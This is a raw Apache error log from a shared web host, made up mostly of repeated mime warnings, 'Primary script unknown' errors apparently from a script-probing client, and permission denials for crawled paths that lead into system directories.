[Fri Jul 17 09:45:06.492164 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.665244 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.756763 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.849444 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.031223 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.107474 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.122907 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.214008 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.306743 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.383438 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.795707 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.828925 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.916398 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.940148 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/virtio-pci/bind
[Fri Jul 17 09:45:07.940524 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:07.943458 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.010124 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.038726 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.127813 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/devices/serial8250/tty/ttyS2/flags
[Fri Jul 17 09:45:08.220356 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220439 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220463 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220482 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220501 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220518 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220549 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220566 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220583 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220610 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220632 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220649 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220665 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220682 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220699 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220716 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220732 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220749 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220765 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220783 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220799 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220816 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220833 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220849 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220867 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220884 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220918 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220936 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220953 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220969 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.220987 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221004 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221021 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221047 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221069 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221087 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221103 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221121 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221139 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221156 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221173 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221190 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221214 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221234 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221251 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221267 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221287 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221303 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221320 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221337 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221355 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221373 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.221390 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.309994 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.387284 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.401020 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.499505 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.674521 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.741707 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:08.779886 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.838309 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:08.860997 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.920690 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:08.948539 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:08.979241 2026] [cgi:error] [pid 2047046:tid 2047046] [client 161.193.1.102:0] AH02812: stderr from /home/euroentertainmen/public_html/cgi-bin/: attempt to invoke directory as script, referer: http://euroentertainmentlk.com
[Fri Jul 17 09:45:09.003082 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.026007 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.040018 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.093342 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.133488 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.185026 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.220228 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.272814 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.310468 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.362996 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.402103 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.445120 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.494176 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.526643 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.556647 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.583990 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.626425 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.674886 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.709164 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.766320 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.791557 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.844249 2026] [security2:error] [pid 1993671:tid 1993671] [client 20.63.63.128:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/neotech-global": Permission denied [hostname "neotechlk.com"] [uri "/dass.php"] [unique_id "almsTQ5GPQ6hs4VrfMpLwQAAAAY"]
[Fri Jul 17 09:45:09.844273 2026] [security2:error] [pid 1993671:tid 1993671] [client 20.63.63.128:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/neotech-ip": Permission denied [hostname "neotechlk.com"] [uri "/dass.php"] [unique_id "almsTQ5GPQ6hs4VrfMpLwQAAAAY"]
[Fri Jul 17 09:45:09.901273 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:09.941339 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:09.957950 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.027806 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.042462 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.126959 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.133781 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.213894 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.225106 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:04/subsystem/drivers/tpm_tis/bind
[Fri Jul 17 09:45:10.297810 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.315840 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.380323 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.405728 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.471118 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.497004 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.576891 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.586555 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.659444 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.678119 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.743495 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.769325 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.829631 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.915721 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:10.917765 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:10.998141 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.080738 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.135952 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.162835 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.227609 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.252067 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.321534 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.335482 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.408083 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.428460 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.499038 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.511572 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.591962 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.593850 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.680795 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.769785 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.772318 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.851844 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.864189 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:11.935602 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:11.959106 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0303:00/subsystem/drivers/pvpanic/bind
[Fri Jul 17 09:45:12.030757 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.046207 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:12.114686 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.137759 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:12.200675 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.232648 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:12.296499 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.319701 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:12.384536 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.416130 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:12.468430 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.501779 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:12.552022 2026] [proxy_fcgi:error] [pid 2050580:tid 2050580] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.593540 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/battery/bind
[Fri Jul 17 09:45:12.636259 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.719225 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.803068 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.886020 2026] [proxy_fcgi:error] [pid 2050580:tid 2050580] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:12.976013 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:13.057884 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:13.143467 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:13.144304 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:13.227859 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:13.323165 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:13.407522 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:13.416733 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:13.503648 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:13.508722 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:13.826196 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:49414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:13.873931 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/subsystem/drivers/rt1711h/uevent
[Fri Jul 17 09:45:13.894606 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:49436] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:14.057977 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:14.508349 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:14.868319 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:14.878965 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/subsystem/drivers/tcpci/unbind
[Fri Jul 17 09:45:15.147527 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:15.193691 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.237424 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:15.276674 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.360062 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.420693 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:15.447597 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.534676 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.560142 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:15.620669 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.692132 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/sound/card0/device/remove
[Fri Jul 17 09:45:15.704143 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.789680 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.875321 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:15.877022 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:15.968058 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:15.977963 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
